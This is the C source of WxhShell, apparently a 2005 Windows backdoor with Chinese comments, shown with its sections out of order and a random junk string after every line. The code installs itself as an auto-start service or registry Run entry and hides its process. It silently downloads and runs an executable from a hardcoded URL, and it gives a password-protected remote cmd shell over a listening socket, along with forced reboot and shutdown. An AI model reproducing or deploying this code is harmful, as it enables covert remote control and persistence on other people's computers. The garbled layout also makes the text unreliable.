    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :e+GtN?  
    else { e!tgWYN  
    closesocket(wsh); <' P|g  
    ExitThread(0); 1G.+)*:3  
    } aCGPtA'  
    break; _9!Ru!u~  
    } k_P`t[YZV  
  // 获取shell T2Y`q'  
  case 's': { R&ou4Y:DG  
    CmdShell(wsh); `c:'il?  
    closesocket(wsh); 7c %@2  
    ExitThread(0); &sS k~:  
    break; _j%Rm:m;<  
  } ,J}lyvkd  
  // 退出 M8KfC!  
  case 'x': { / sH*if  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sw5H+!  
    CloseIt(wsh); lz{>c.Ll[  
    break; 1 _5[5K^  
    } C>T6{$xkC  
  // 离开 !~ -^s  
  case 'q': { x-tA {_:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v|{*y  
    closesocket(wsh); X){F^1CT{  
    WSACleanup(); et9 c<'  
    exit(1); f\r$T Nd6  
    break; HoRLy*nU  
        } 2mU}"gf[  
  } 7DOAG[gH  
  } Z: T4Z}4N  
,l0s(Cg  
  // 提示信息 GExG1n-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Qy,P kje  
} f1=8I_>=  
  } * +OAc `8  
XJ?@l3D:  
  return; +Kf::[wP7  
}  }Ecm  
ARQ1H0_B  
// shell模块句柄 _^P>@ ^  
int CmdShell(SOCKET sock) dcHkb,HsO  
{ >$R-:>~zN  
STARTUPINFO si; 0 |F (qR  
ZeroMemory(&si,sizeof(si)); 4?%0z) g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tmb0zuJ&C!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; da I-*  
PROCESS_INFORMATION ProcessInfo; t:M>&r:BL  
char cmdline[]="cmd"; ~gBqkZ# y?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wV5<sH__  
  return 0; oK(ua  
} QQ!,W':  
kQ'G+Kw~F  
// 自身启动模式 YmF`7W  
int StartFromService(void) Z<&: W8n  
{ TzK?bbgr!  
typedef struct HH+rib'u  
{ xPb`CY7  
  DWORD ExitStatus; C{2 UPG4x  
  DWORD PebBaseAddress; ^' [|  
  DWORD AffinityMask; Q7}w Y  
  DWORD BasePriority; VJ=!0v  
  ULONG UniqueProcessId; IgFz[)  
  ULONG InheritedFromUniqueProcessId; 9R ugkGy  
}   PROCESS_BASIC_INFORMATION; Z>M*!mQi  
ZT^PL3j+  
PROCNTQSIP NtQueryInformationProcess; [Xz7.<0#U  
Mm/GI a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O$&p<~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n"dT^ g  
,9A[o`b  
  HANDLE             hProcess; PMrvUM62  
  PROCESS_BASIC_INFORMATION pbi; JT_#>',  
P AKh v.7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x`o_&09;CG  
  if(NULL == hInst ) return 0; hOwVm;:  
[6/ %ynlP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F[?t"d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7 'f>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D2?7=5DgS  
WrG)&&d  
  if (!NtQueryInformationProcess) return 0; p1|@F^Q  
H>Fy 2w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -7pZRnv  
  if(!hProcess) return 0; tGf  
!MGQ+bD6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y.}n,y|J}  
\}<nXn!  
  CloseHandle(hProcess); ]"YG7|EU  
Gm6^BYCk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,$*IJeKx  
if(hProcess==NULL) return 0; wiFckF/  
 z!F?#L5  
HMODULE hMod; t;4{l`dk  
char procName[255]; `[:f;2(@  
unsigned long cbNeeded; ZAiQofQ:2  
]0O pd9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Wj9Stj5  
G4=v2_]  
  CloseHandle(hProcess); 9^aMmN&6N2  
:_?>3c}L  
if(strstr(procName,"services")) return 1; // 以服务启动 GJ((eAS)  
bF}~9WEa  
  return 0; // 注册表启动 `U;4O)`n  
} tZ6KU11O  
^c!Hur6)  
// 主模块 (>Tu~Vo  
int StartWxhshell(LPSTR lpCmdLine) =UYc~VUYnT  
{ ~5JXY5 *o  
  SOCKET wsl; i4uUvZ f  
BOOL val=TRUE; ,m:MI/ )p  
  int port=0; {WC{T2:8  
  struct sockaddr_in door; SYC_=X  
+ 1cK (Si  
  if(wscfg.ws_autoins) Install(); $)\ocsO  
-Ol/r=/&  
port=atoi(lpCmdLine); aIm\tPbb  
2?m'Dy'JE  
if(port<=0) port=wscfg.ws_port; ND I|;   
,ur_n7+LH  
  WSADATA data; 1YS{; y[o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !J+5l&  
,7/N=mz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M/#<=XhA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [1Vh3~>J6  
  door.sin_family = AF_INET; un..UU4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W/&cnp\  
  door.sin_port = htons(port); p'_* >%4~  
.=K@M"5&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G8<,\mg+  
closesocket(wsl); /r]IY.  
return 1; WAob"`8]  
} Ao=.=0os  
g8B@M*JA  
  if(listen(wsl,2) == INVALID_SOCKET) { lJ}lO,g  
closesocket(wsl); ;zp0,[r  
return 1; g y&B"`  
} 4wK!)Pwq  
  Wxhshell(wsl); WF:i}+g+^  
  WSACleanup(); 9?]4s-~  
n32BHOVE  
return 0; L.erP* w  
'GNT'y_  
} 1'}~;?_  
PiM@iS  
// 以NT服务方式启动 r0hu?3u1?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xy[R9_V  
{ #,$d!l @  
DWORD   status = 0; jtN2%w;  
  DWORD   specificError = 0xfffffff; & XcY|y=W  
8wwD\1pLS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /(XtNtO*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $0{c =r9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iGm[fxQ|  
  serviceStatus.dwWin32ExitCode     = 0; L%N|8P[  
  serviceStatus.dwServiceSpecificExitCode = 0; \/'u(|G  
  serviceStatus.dwCheckPoint       = 0; 72Ft?;R  
  serviceStatus.dwWaitHint       = 0; N0/DPZX7  
?mrG^TV^+r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Wk\ 6  
  if (hServiceStatusHandle==0) return; 4WDh8U  
nV GrW#'E  
status = GetLastError(); 3C2L _ K3  
  if (status!=NO_ERROR) -Vw,9VCF  
{ $\{@wL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lS9rgq<n  
    serviceStatus.dwCheckPoint       = 0; P b2exS(  
    serviceStatus.dwWaitHint       = 0; p]IF=~b  
    serviceStatus.dwWin32ExitCode     = status; i!jx jP  
    serviceStatus.dwServiceSpecificExitCode = specificError; |WlWZ8]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^qYJx  
    return; !SEg4z  
  } k6. }.  
pT.iQ J|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c`AtK s)u  
  serviceStatus.dwCheckPoint       = 0; WOR~tS  
  serviceStatus.dwWaitHint       = 0; V% psaT=)P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *N<~"D  
} hb zU?_}  
IIs'm!"Y>  
// 处理NT服务事件,比如:启动、停止 A2g +m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g!cTG-bh>J  
{ TDk'  
switch(fdwControl) iIA&\'|;i  
{ '$;S?6$eW  
case SERVICE_CONTROL_STOP: 5c! ~WckbJ  
  serviceStatus.dwWin32ExitCode = 0; 9SXFiZA(r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vG69z&  
  serviceStatus.dwCheckPoint   = 0; pjWqI 6,  
  serviceStatus.dwWaitHint     = 0; LZ}C{M{=5A  
  { tLJ"] D1w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V- Oy<  
  } Z$~Wr3/  
  return; K1]H~'  
case SERVICE_CONTROL_PAUSE: k*[["u^u]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kbrb;r59  
  break; O| ) [j@7  
case SERVICE_CONTROL_CONTINUE: VW$Hzx_z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +r"{$'{^  
  break; 6/Q'o5>NL:  
case SERVICE_CONTROL_INTERROGATE: 6ix8P;;}#  
  break; fOtL6/?  
}; 8:|F'{<<b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E~3wdOZv1  
} VW}xY  
.B+R+2uY3  
// 标准应用程序主函数 :B6hYx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Xi?Y/  
{ YJ3aJ^m#E  
#Huvn4x  
// 获取操作系统版本 :na9PW`TC  
OsIsNt=GetOsVer(); C%9;~S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `rN,*kcP  
I>B-[QEC  
  // 从命令行安装 4U*J{''L  
  if(strpbrk(lpCmdLine,"iI")) Install(); Om,+59ua*  
!MOVv\@O  
  // 下载执行文件 hjtkq .@  
if(wscfg.ws_downexe) { uK2MC?LP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b*\K I  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! av B&Z  
} ?k CK$P  
D .oX>L#:  
if(!OsIsNt) { ^y]CHr  
// 如果时win9x,隐藏进程并且设置为注册表启动 o['HiX  
HideProc(); aqSHo2]DX9  
StartWxhshell(lpCmdLine); ^OnU;8IC  
} \!Cix}}1  
else 0,1:l3iu1M  
  if(StartFromService()) N.vt5WP  
  // 以服务方式启动 M,7A|?O  
  StartServiceCtrlDispatcher(DispatchTable); 0&mOu #l  
else ELZCrh6*  
  // 普通方式启动 TL-sxED,,D  
  StartWxhshell(lpCmdLine); (sHqzWh  
y0k*iS e  
return 0; )7l+\t  
} e)]9u$x  
$vlq]6V8  
PGF=q|j9K  
* 7u~`  
=========================================== O0`sg90,C  
rlEEf/m:  
OX d617  
B2w\  
-!f)P=S  
"l&=a1l  
" RB`Emp&T  
?mU 3foa  
#include <stdio.h> OOA %NKV  
#include <string.h> N}HQvlLkF9  
#include <windows.h> $w4%JBZr  
#include <winsock2.h> Cp` [0v~0  
#include <winsvc.h> Vf9PHHH|   
#include <urlmon.h> ,\laqH\ 1%  
\ 'G%%%;4  
#pragma comment (lib, "Ws2_32.lib") N3nFE:`u]  
#pragma comment (lib, "urlmon.lib") mrX 2w  
Cgq/#2BM  
#define MAX_USER   100 // 最大客户端连接数 C8 9c2  
#define BUF_SOCK   200 // sock buffer PY- 1 oP  
#define KEY_BUFF   255 // 输入 buffer = _X#JP79  
Q\|72NWS  
#define REBOOT     0   // 重启 2#:/C:  
#define SHUTDOWN   1   // 关机 (C>FM8$J  
4=!SG4~o  
#define DEF_PORT   5000 // 监听端口 U ]jHe  
(N{Rda*8  
#define REG_LEN     16   // 注册表键长度 3omFd#EP  
#define SVC_LEN     80   // NT服务名长度 " uf*?m3  
dfl| 6R  
// 从dll定义API S<HR6Xw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o=@ 0Bd8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d$Y3 a^O|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t\Pn67t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nm5zX,  
VOr*YB&  
// wxhshell配置信息 |U)m'W-(q  
struct WSCFG { G347&F)  
  int ws_port;         // 监听端口 d*Q:[RUf,  
  char ws_passstr[REG_LEN]; // 口令 itClCEOA  
  int ws_autoins;       // 安装标记, 1=yes 0=no (WZKqt)S"o  
  char ws_regname[REG_LEN]; // 注册表键名 0goKiPx  
  char ws_svcname[REG_LEN]; // 服务名 "h?;)Ye  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K;moV| j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [- C -+jC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \i_y(;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -;9pZ'r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]k~Vh[[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ['~j1!/;6  
'?7th>pC  
}; ii&{gC  
x dDR/KS  
// default Wxhshell configuration >fHg1d2-  
struct WSCFG wscfg={DEF_PORT, &U q++f6  
    "xuhuanlingzhe", KzD5>Xf]4$  
    1, o (fZZ`6Y  
    "Wxhshell", g-lF{Z  
    "Wxhshell", 5y-8_)y8o  
            "WxhShell Service", AKs=2N> 7  
    "Wrsky Windows CmdShell Service", C$Pe<C#  
    "Please Input Your Password: ", 2ED^uc: 0S  
  1, gSLwpIK%  
  "http://www.wrsky.com/wxhshell.exe", 5dOA^P@`,M  
  "Wxhshell.exe" %.^8&4$+  
    }; Xb +)@Y4h  
b[p<kMTir  
// 消息定义模块 ;ELQIHnD"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DwM4/m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (}E-+:vFU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uX_A4ht*  
char *msg_ws_ext="\n\rExit."; . +_IpygQ  
char *msg_ws_end="\n\rQuit."; FD>j\  
char *msg_ws_boot="\n\rReboot..."; Zkl:^!*  
char *msg_ws_poff="\n\rShutdown..."; u=^0n2ez  
char *msg_ws_down="\n\rSave to "; ER,,K._?B  
+W|MAJtg  
char *msg_ws_err="\n\rErr!"; KY'"Mg^!  
char *msg_ws_ok="\n\rOK!"; 18JhC*in  
k<W n  
char ExeFile[MAX_PATH]; $mFsf)1]]?  
int nUser = 0; Jg#L8>p1  
HANDLE handles[MAX_USER]; 09?n5x!6  
int OsIsNt; Yas!w'  
K8E:8`_cx  
SERVICE_STATUS       serviceStatus; ~@ a7RiE@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $tvGS6p>  
q@ !p  
// 函数声明 VesW7m*z  
int Install(void); s)Sa KE*d  
int Uninstall(void); +SCUS]  
int DownloadFile(char *sURL, SOCKET wsh); 7+] T}4;  
int Boot(int flag); T3 xr Ua&  
void HideProc(void); `< 8Fc`;[  
int GetOsVer(void); BOqq=WY  
int Wxhshell(SOCKET wsl); d bU  
void TalkWithClient(void *cs); h.0Y!'?  
int CmdShell(SOCKET sock); x" 21 Jh  
int StartFromService(void); ~/?JRL=  
int StartWxhshell(LPSTR lpCmdLine);  |F5^mpU  
PRm Z 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =uKGh`^[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _i [.5  
pAg;Rib  
// 数据结构和表定义 *0bbSw1kc  
SERVICE_TABLE_ENTRY DispatchTable[] = w`XwW#!}@$  
{ Yo0%5 noz  
{wscfg.ws_svcname, NTServiceMain}, 7Cf%v`B4D  
{NULL, NULL} FI@2K M  
}; ^9T6Ix{=  
^Q8m) 0DP  
// 自我安装 n =v4m_e  
int Install(void) it!i'lG  
{ !fdni}f)  
  char svExeFile[MAX_PATH]; {#M=gDhbX  
  HKEY key; u:H@]z(x  
  strcpy(svExeFile,ExeFile); 9_IR%bm  
}D.?O,ue  
// 如果是win9x系统,修改注册表设为自启动 ?#]K54?  
if(!OsIsNt) { wP3PI.g-g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @~6A9Fr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i gzISYC_  
  RegCloseKey(key); ]*a)'k_@[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sQW$P9s c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =!NYvwg6;o  
  RegCloseKey(key); I%xrDiK97  
  return 0; }i_[wq{E&  
    } 'N,3]Soi  
  } 2L.UEAt  
} Q6?+#}  
else { JA7HO |  
6 .DJR Y  
// 如果是NT以上系统,安装为系统服务 g-xbb&]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;@K,>$ur-  
if (schSCManager!=0) G[u_Uu=>  
{ /1++ 8=  
  SC_HANDLE schService = CreateService X?$Eb  
  ( 0 O4'Ts ?  
  schSCManager, 9m 56oT'U{  
  wscfg.ws_svcname, "hz(A.THi  
  wscfg.ws_svcdisp, 'T[=Uuj"  
  SERVICE_ALL_ACCESS, q|2{W.P5qi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;}IF'ANA  
  SERVICE_AUTO_START, ~Av]LW  
  SERVICE_ERROR_NORMAL, Y>!9P\Xe  
  svExeFile, #m 3WZ3t$  
  NULL, "d'xT/l "  
  NULL, yZI4%fen  
  NULL, G1B~?i2$ ?  
  NULL, G~)jk+Qq  
  NULL 'ntb.S)  
  ); *sf9(%j  
  if (schService!=0) ] d| -r:4  
  { :YjOv  
  CloseServiceHandle(schService); Tp~yn  
  CloseServiceHandle(schSCManager); !Dkz6B*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mh44  
  strcat(svExeFile,wscfg.ws_svcname); d%9I*Qo0,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sAk~`(:4!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '.~vN L+ O  
  RegCloseKey(key); _5M!ec  
  return 0; )?'sw5C  
    } ,)V*xpp  
  } +`f gn9p  
  CloseServiceHandle(schSCManager); .}ZX~k&P  
} *Q=-7a m  
} aGp <%d  
Hk2@X(  
return 1; (o^V[zV  
} 4M(w<f\5F  
3leg,q d  
// 自我卸载 ^w2n  
int Uninstall(void) Pb} &c  
{ `(;d+fof  
  HKEY key; A4';((OXy  
s5|LD'o!  
if(!OsIsNt) { 7x9YA$IE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &m8B%9w  
  RegDeleteValue(key,wscfg.ws_regname); cv:nlq)  
  RegCloseKey(key); 3~I<f ^K4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e^~t52]  
  RegDeleteValue(key,wscfg.ws_regname); 9b]*R.x:$&  
  RegCloseKey(key); SfJ/(q  
  return 0; k;zb q  
  } 0x# 6L  
} O,qR$#l   
} dG7sY O@U  
else { ~\<ZWU<BE  
PyYKeo=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0x^$q? \A  
if (schSCManager!=0) T<zonx1  
{ 7u5B/M!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o~P8=1t   
  if (schService!=0) b{s E#m%r  
  { 1:YDN.*  
  if(DeleteService(schService)!=0) { s>~&: GUwR  
  CloseServiceHandle(schService); i04Sf^  
  CloseServiceHandle(schSCManager); Si]Z`_  
  return 0; 4)Pt]#Ti  
  } 8SAz,m!W)  
  CloseServiceHandle(schService); 0 {{7"  
  } ]CC~Eo-%-  
  CloseServiceHandle(schSCManager); w?M*n<) O  
} ::H jpM  
} @T/C<-/:  
vW$] :).  
return 1; jn}6yXB  
} }r^MXv~(  
gK)B3dH*&  
// 从指定url下载文件 tY# F8a&  
int DownloadFile(char *sURL, SOCKET wsh) 5 @[%P=  
{ }sJ% InL  
  HRESULT hr; }f&7<E  
char seps[]= "/"; )CR8-z1`  
char *token; 3%EwA\V(  
char *file; aqzvT5*8%  
char myURL[MAX_PATH]; iT^lk'?{O  
char myFILE[MAX_PATH]; HqYaQ~Dth  
y_$^Po  
strcpy(myURL,sURL); L6 _Sc-sU  
  token=strtok(myURL,seps); ;k/0N~  
  while(token!=NULL) P\zi:]h[Gh  
  { n+uq|sYVa  
    file=token; )1x333.[c  
  token=strtok(NULL,seps); 0l 3RwWj  
  } /-|xxy  
$ @1&G~x  
GetCurrentDirectory(MAX_PATH,myFILE); `SW`d<+L  
strcat(myFILE, "\\"); eHnC^W}|s  
strcat(myFILE, file); 82/iVm1  
  send(wsh,myFILE,strlen(myFILE),0); {{EQM +  
send(wsh,"...",3,0); q6_1`Ew  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #UWQ (+F  
  if(hr==S_OK) ;'o>6I7Ph  
return 0; ?N|PgNu X  
else @XIwp2A{+  
return 1; sL/Lw WH  
yp*kMC,3  
} ?,%N?  
 &R^mpV5  
// 系统电源模块 _R-#I  
int Boot(int flag) HKxrBQr78  
{ UVI=&y]c,p  
  HANDLE hToken; "R9kF-  
  TOKEN_PRIVILEGES tkp; H`io|~Q  
fZ %ZV  
  if(OsIsNt) { HPCA,*YR`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _v $mGZpGY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W\KZFrV@  
    tkp.PrivilegeCount = 1; 4P:vo$Cy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sr+1.77}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =)I{KT:y  
if(flag==REBOOT) { O/-OW: 03  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +M.|D,wg2  
  return 0; rW6w1  
} *v5y]E%aW  
else { a9qZI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g)p[A 4  
  return 0; =G72`]#-  
} cxv) LOl-  
  } Hd2_Cg FB  
  else { }oU&J81  
if(flag==REBOOT) { S7SPc   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (6A{6_p  
  return 0; rpXw 8  
} rvfl~<G*  
else { Z'j<wRf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jS- QTG!=  
  return 0; eBN>|mE4N  
} bFJn-g n  
} x NC>m&T  
eb8_guZ  
return 1; Q@j:b]Y9  
} q{5Vq_s\  
 OB^  
// win9x进程隐藏模块 &a(w0<  
void HideProc(void) 4Sl^cKb$7  
{ . LS.Z 4@  
G?V3lQI1n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4C[gW  
  if ( hKernel != NULL ) [a Z)*L ;  
  { 9"aTF,'F/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e,4G:V'NX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6x7=0}'  
    FreeLibrary(hKernel); r\1*N.O3|O  
  } TDseWdA  
DxD0iJ=W  
return; FG(`&S+,  
} V,"'k<y  
jGWLYI=V2  
// 获取操作系统版本 3z ry %qV=  
int GetOsVer(void) BA5= D>T-  
{ EtcamI*`  
  OSVERSIONINFO winfo; Xg)yz~Ug  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }B.C#Y$@  
  GetVersionEx(&winfo); +Q9HsfX/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2U+&F'&Q  
  return 1; 0jS/U|0  
  else JU6np4  
  return 0; Z`!pU"O9l  
} lu}[XN  
LH8?0 N[  
// 客户端句柄模块 i0!F  
int Wxhshell(SOCKET wsl) sg y  
{ kO#`m ]  
  SOCKET wsh; )}aF=%  
  struct sockaddr_in client; 4~/6d9f  
  DWORD myID; tv{.iM|V c  
Qi}LV"&L  
  while(nUser<MAX_USER) ][mc^eI0s|  
{ lyPXlt  
  int nSize=sizeof(client); f:SF&t*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }:irjeI,  
  if(wsh==INVALID_SOCKET) return 1; |)_R bqZ  
%xruPWT:k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r/v&tU  
if(handles[nUser]==0) +OmSR*fA0  
  closesocket(wsh); ig,|3(  
else vOS0E^  
  nUser++; g=(+oK?  
  } `iI"rlc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rt|Hma  
+NY4j-O  
  return 0; ]3,0 8JW=  
} )X/Faje  
N'1~wxd  
// 关闭 socket :&%;s*-9  
void CloseIt(SOCKET wsh) #Q"vwek  
{ Hn~1x'$  
closesocket(wsh); 6b|`[t  
nUser--; E~P 0}'  
ExitThread(0); $5IrM 7i  
} !O-+ h0Z  
@FV;5M:I  
// 客户端请求句柄 .g~@e_;):  
void TalkWithClient(void *cs) 8iNAs#s  
{ o~K2K5I  
-(.7/G'Vk>  
  SOCKET wsh=(SOCKET)cs; $yAfs3/%)s  
  char pwd[SVC_LEN]; QFPx4F7(e  
  char cmd[KEY_BUFF]; 8hfh,v5(  
char chr[1]; !;gke,fB  
int i,j; |DD?3#G01  
SS~Q;9o  
  while (nUser < MAX_USER) { $%JyM  
t["Df;"O  
if(wscfg.ws_passstr) { ^IH1@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qrc/Q;$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [//f BO  
  //ZeroMemory(pwd,KEY_BUFF); \sd"iMEi  
      i=0; C":\L>Ax  
  while(i<SVC_LEN) {  aC: l;  
l'T0<  
  // 设置超时 p#d UL9  
  fd_set FdRead; G,-OH-M!  
  struct timeval TimeOut; j%;)CV G"  
  FD_ZERO(&FdRead); F21[r!3  
  FD_SET(wsh,&FdRead); Z L</  
  TimeOut.tv_sec=8; ([*t.  
  TimeOut.tv_usec=0; O:)IRB3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~S6{VK.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); njMy&$6a##  
~PnpYd<2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  uN 62>  
  pwd=chr[0]; %ZyPK,("  
  if(chr[0]==0xd || chr[0]==0xa) { 1,QZnF!.x  
  pwd=0; z-5#bOABW  
  break; 3L?a4,Q"k}  
  } GuWBl$|+b  
  i++; fm>K4\2  
    } ]F;]<_  
e,&%Z  
  // 如果是非法用户,关闭 socket QtQ^"d65  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ssITe., ny  
} >` QX xTn  
g{hA,-3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rk%M~D*-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +3>/,w(x  
x 5Dt5Yp"o  
while(1) { {Ch"zuPX  
F |81i$R  
  ZeroMemory(cmd,KEY_BUFF); "v!HKnDT  
v6?\65w,|  
      // 自动支持客户端 telnet标准   m 1i+{((  
  j=0; yQ{_\t1Wd  
  while(j<KEY_BUFF) { [9om"'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X-#mv|3  
  cmd[j]=chr[0]; JK"uj%  
  if(chr[0]==0xa || chr[0]==0xd) { .oj"ru  
  cmd[j]=0; 43=-pyp  
  break; ?]D+H%3[$i  
  } o%PoSZZ  
  j++; Z4ov  
    } So%1RY{ )  
G@EjWZQ  
  // 下载文件 sFCs_u1tNN  
  if(strstr(cmd,"http://")) { Ko|xEz=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OW}j4-~wL  
  if(DownloadFile(cmd,wsh)) oy bzD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( L\G!pP.  
  else s4`*0_n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HcVs(]tIW  
  } W?J*9XQ`  
  else { 2G5!u)  
ku9F N  
    switch(cmd[0]) { X/,1]  
